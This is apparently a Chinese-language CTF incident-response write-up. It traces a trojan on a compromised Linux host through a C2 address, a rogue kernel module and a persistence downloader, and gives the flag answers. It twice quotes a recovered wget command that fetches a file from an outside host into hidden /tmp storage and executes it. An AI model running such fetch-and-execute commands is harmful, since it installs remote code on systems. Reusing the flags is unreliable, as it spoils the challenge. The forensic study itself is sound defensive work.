ciscn暨长城杯 天津赛区 ISW阶段应急响应复现

题目介绍

小路是一名网络安全网管，据反映发现公司主机上有异常外联信息，据回忆前段时间执行过某些更新脚本（已删除），现在需要协助小路同学进行网络安全应急响应分析，查找木马，进一步分析，寻找攻击源头，获取攻击者主机权限获取 flag 文件。

1

找出主机上木马回连的主控端服务器 IP 地址（不定时 (3~5 分钟) 周期性），并以 flag{MD5} 形式提交，其中 MD5 加密目标的原始字符串格式 IP:port

这里一直分析netstat浪费了很多时间

复现时了解到：
这里是 `.ko` 内核相关文件，可能会遇到 `netstat` 检测不到网络连接情况的问题，优先使用 `tcpdump` 直接抓取网卡流量

使用r-studio进行磁盘恢复【AXIOM分析后并没有发现东西（可能是不太会用吧）】

发现被删除的1.txt，和.viminfo

1.txt

wget –quiet http://mirror.unknownrepo.net/f/l/a/g/system_upgrade -O /tmp/.system_upgrade && chmod +x /tmp/.system_upgrade && /tmp/.system_upgrade

定位到system

查看启动服务，发现可疑内核

定位到内核文件

恢复文件，IDA分析
定位到ULRYvXzICzy880dO函数，发现木马回连的主控端服务器 IP 地址

192.168.57.203:4948

flag{59110f555b5e5cd0a8713a447b082d63}

2

找出主机上驻留的远控木马文件本体，计算该文件的 MD5, 结果提交形式
这里注意到systemd-agentd

flag{bccad26b665ca175cd02aca2903d8b1e}

3

找出主机上加载远控木马的持久化程序（下载者），其功能为下载并执行远控木马，计算该文件的 MD5, 结果提交形式：flag{MD5}

木马就是system-upgrade.ko

计算文件md5：md5sum

flag{78edba7cbd107eb6e3d2f90f5eca734e }

4

查找题目 3 中持久化程序（下载者）的植入痕迹，计算持久化程序植入时的原始名称 MD5（仅计算文件名称字符串 MD5），并提交对应 flag{MD5}

1.txt

wget –quiet http://mirror.unknownrepo.net/f/l/a/g/system_upgrade -O /tmp/.system_upgrade && chmod +x /tmp/.system_upgrade && /tmp/.system_upgrade

这里下载文件并给予权限，

flag{9729aaace6c83b11b17b6bc3b340d00b}

参考文章：
https://tryhackmyoffsecbox.github.io/Target-Machines-WriteUp/blog/2025CCB&CISCN-Semis-ISW/